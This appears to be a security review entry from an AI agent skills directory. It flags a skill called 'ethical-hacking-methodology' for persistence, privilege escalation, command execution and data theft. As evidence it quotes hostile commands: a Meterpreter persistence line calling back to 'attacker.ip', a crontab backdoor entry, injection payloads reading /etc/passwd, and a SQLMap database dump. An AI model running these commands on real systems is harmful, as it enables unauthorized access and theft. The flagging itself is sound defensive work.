The Agent Skills Directory

[PERSISTENCE]: The skill provides explicit instructions for maintaining unauthorized access to a system across sessions.
Evidence includes instructions for Meterpreter persistence: run persistence -X -i 30 -p 4444 -r attacker.ip.
Detailed instructions for SSH key persistence by adding keys to ~/.ssh/authorized_keys.
Instructions for creating malicious cron jobs to execute backdoors: echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab.
[PRIVILEGE_ESCALATION]: The skill details multiple methods to elevate user permissions on both Linux and Windows environments.
Recommends the use of automated enumeration scripts such as linpeas.sh, winpeas.exe, and linux-exploit-suggester.sh.
Instructs on checking sudo -l permissions and searching for SUID binaries using find / -perm -4000 to find configuration weaknesses.
[COMMAND_EXECUTION]: The skill documents the use of powerful exploitation frameworks and tools capable of executing arbitrary code on target systems.
Provides workflow examples for the Metasploit Framework (msfconsole) and EternalBlue exploitation.
Includes commands for brute-forcing services via Hydra and performing SQL injection via SQLMap.
Provides examples for manual command injection testing, such as using ; ls -la and | cat /etc/passwd.
[DATA_EXFILTRATION]: The skill facilitates the discovery and harvesting of sensitive system data.
Documents "Google Hacking" (OSINT) techniques to find configuration files (.env, .config) and password files.
Provides instructions for reading sensitive system files like /etc/passwd via command injection payloads.
Instructs on dumping entire databases using SQLMap commands like sqlmap ... --dbs.

ethical-hacking-methodology